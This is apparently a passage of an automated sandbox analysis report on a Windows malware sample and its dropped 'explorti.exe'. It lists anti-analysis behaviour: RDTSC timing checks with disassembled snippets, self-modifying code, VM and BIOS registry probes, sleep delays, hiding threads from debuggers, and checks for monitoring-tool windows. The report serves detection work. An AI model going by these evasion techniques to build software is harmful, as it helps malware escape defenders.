Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420BE6 second address: 5420BFA instructions: 0x00000000 rdtsc 0x00000002 mov dx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dx, cx 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cl, 7Bh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420BFA second address: 5420C24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4688C1B777h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420C24 second address: 5420C4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 2A4Ah 0x00000007 mov bh, A1h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4688C929E9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420C4D second address: 5420C5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C1B76Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420C5D second address: 5420C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420C61 second address: 5420C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4688C1B76Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420C76 second address: 5420C7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A0682 second address: 54A0686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A0686 second address: 54A068A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A068A second address: 54A0690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A0690 second address: 54A0696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A0696 second address: 54A069A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A069A second address: 54A06D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F4688C929E0h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4688C929DEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A06D2 second address: 54A06D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A06D8 second address: 54A06DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A06DC second address: 54A070F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F4688C1B779h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4688C1B76Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54A070F second address: 54A071F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C929DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54909F3 second address: 5490A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F4688C1B779h 0x0000000b and cx, 6646h 0x00000010 jmp 00007F4688C1B771h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ecx, edx 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5490A33 second address: 5490A39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5490A39 second address: 5490A70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov dh, BBh 0x0000000c mov bx, cx 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 movsx edi, cx 0x00000016 pop ecx 0x00000017 mov al, dl 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F4688C1B779h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430271 second address: 5430277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430277 second address: 543027B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 543027B second address: 543028A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 543028A second address: 543028E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 543028E second address: 5430294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5490CDA second address: 5490D68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, A7h 0x00000005 mov esi, 3B3E9733h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F4688C1B776h 0x00000013 mov ebp, esp 0x00000015 jmp 00007F4688C1B770h 0x0000001a push dword ptr [ebp+0Ch] 0x0000001d jmp 00007F4688C1B770h 0x00000022 push dword ptr [ebp+08h] 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F4688C1B76Eh 0x0000002c add cx, 4CC8h 0x00000031 jmp 00007F4688C1B76Bh 0x00000036 popfd 0x00000037 mov ah, 22h 0x00000039 popad 0x0000003a push 5DF8A268h 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F4688C1B777h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5490D68 second address: 5490D9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5DF9A26Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4688C929DDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5490D9B second address: 5490DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5490DDF second address: 5490DE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440501 second address: 5440505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440505 second address: 544050B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 544050B second address: 544056E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F4688C1B770h 0x00000010 push FFFFFFFEh 0x00000012 jmp 00007F4688C1B770h 0x00000017 push 09B2C9E3h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007F4688C1B76Dh 0x00000025 or ax, 3506h 0x0000002a jmp 00007F4688C1B771h 0x0000002f popfd 0x00000030 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 544056E second address: 54405B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor dword ptr [esp], 7F4B09FBh 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F4688C929DDh 0x00000018 and cx, 7D16h 0x0000001d jmp 00007F4688C929E1h 0x00000022 popfd 0x00000023 push eax 0x00000024 push edx 0x00000025 mov edi, ecx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54405B4 second address: 54405FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a call 00007F4688C1B769h 0x0000000f jmp 00007F4688C1B770h 0x00000014 push eax 0x00000015 jmp 00007F4688C1B76Bh 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F4688C1B76Bh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54405FB second address: 5440618 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440618 second address: 544061F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 544061F second address: 544065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b call 00007F4688C929DBh 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 call 00007F4688C929E6h 0x00000017 push eax 0x00000018 pop edx 0x00000019 pop eax 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 544065B second address: 544065F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 544065F second address: 5440665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440665 second address: 54406A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F4688C1B770h 0x0000000f mov eax, dword ptr fs:[00000000h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4688C1B777h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54406A9 second address: 54406AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54406AF second address: 54406B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54406B3 second address: 544078C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F4688C929E6h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov esi, edi 0x00000015 pushfd 0x00000016 jmp 00007F4688C929DDh 0x0000001b or al, FFFFFFC6h 0x0000001e jmp 00007F4688C929E1h 0x00000023 popfd 0x00000024 popad 0x00000025 nop 0x00000026 jmp 00007F4688C929DEh 0x0000002b sub esp, 1Ch 0x0000002e pushad 0x0000002f pushad 0x00000030 mov cl, 1Ch 0x00000032 pushfd 0x00000033 jmp 00007F4688C929E9h 0x00000038 sub cx, 4586h 0x0000003d jmp 00007F4688C929E1h 0x00000042 popfd 0x00000043 popad 0x00000044 pushfd 0x00000045 jmp 00007F4688C929E0h 0x0000004a add cx, 8828h 0x0000004f jmp 00007F4688C929DBh 0x00000054 popfd 0x00000055 popad 0x00000056 xchg eax, ebx 0x00000057 jmp 00007F4688C929E6h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 544078C second address: 5440792 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440792 second address: 54407E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F4688C929E6h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 mov ecx, edx 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007F4688C929E6h 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e call 00007F4688C929DCh 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54407E9 second address: 54407F8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cl, bl 0x00000008 popad 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54407F8 second address: 5440837 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 34ED4AA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F4688C929E5h 0x00000014 adc eax, 5B01D476h 0x0000001a jmp 00007F4688C929E1h 0x0000001f popfd 0x00000020 mov ch, 0Fh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440837 second address: 5440854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C1B779h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440854 second address: 54408C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007F4688C929DDh 0x0000000e mov eax, dword ptr [76FBB370h] 0x00000013 jmp 00007F4688C929DEh 0x00000018 xor dword ptr [ebp-08h], eax 0x0000001b pushad 0x0000001c mov eax, 544A8F7Dh 0x00000021 call 00007F4688C929DAh 0x00000026 push eax 0x00000027 pop edi 0x00000028 pop ecx 0x00000029 popad 0x0000002a xor eax, ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F4688C929DFh 0x00000035 jmp 00007F4688C929E3h 0x0000003a popfd 0x0000003b push ecx 0x0000003c pop edx 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54408C0 second address: 54408EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 pushfd 0x00000007 jmp 00007F4688C1B76Ch 0x0000000c sub esi, 3667A318h 0x00000012 jmp 00007F4688C1B76Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Special instruction interceptor: First address: 1CEE25 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Special instruction interceptor: First address: 1CEEFF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Special instruction interceptor: First address: 363775 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Special instruction interceptor: First address: 38FF78 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Special instruction interceptor: First address: 1CEDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Special instruction interceptor: First address: 3F3B3C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: EFEE25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: EFEEFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 1093775 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 10BFF78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: EFEDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 1123B3C instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

Code function: 0_2_05490C90 rdtsc

0_2_05490C90

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Window / User API: threadDelayed 364

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 1396	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 1396	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8184	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8156	Thread sleep count: 364 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8156	Thread sleep time: -10920000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5924	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8176	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8172	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8172	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 1104	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 1104	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 8156	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: explorti.exe, explorti.exe, 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: explorti.exe, 00000007.00000002.2880581504.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: explorti.exe, 00000007.00000002.2880581504.0000000000729000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: gNo9ad9KO4.exe, 00000000.00000002.1680292366.0000000000344000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000001.00000002.1706138398.0000000001074000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000002.00000002.1720919181.0000000001074000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

Code function: 0_2_05490C90 rdtsc

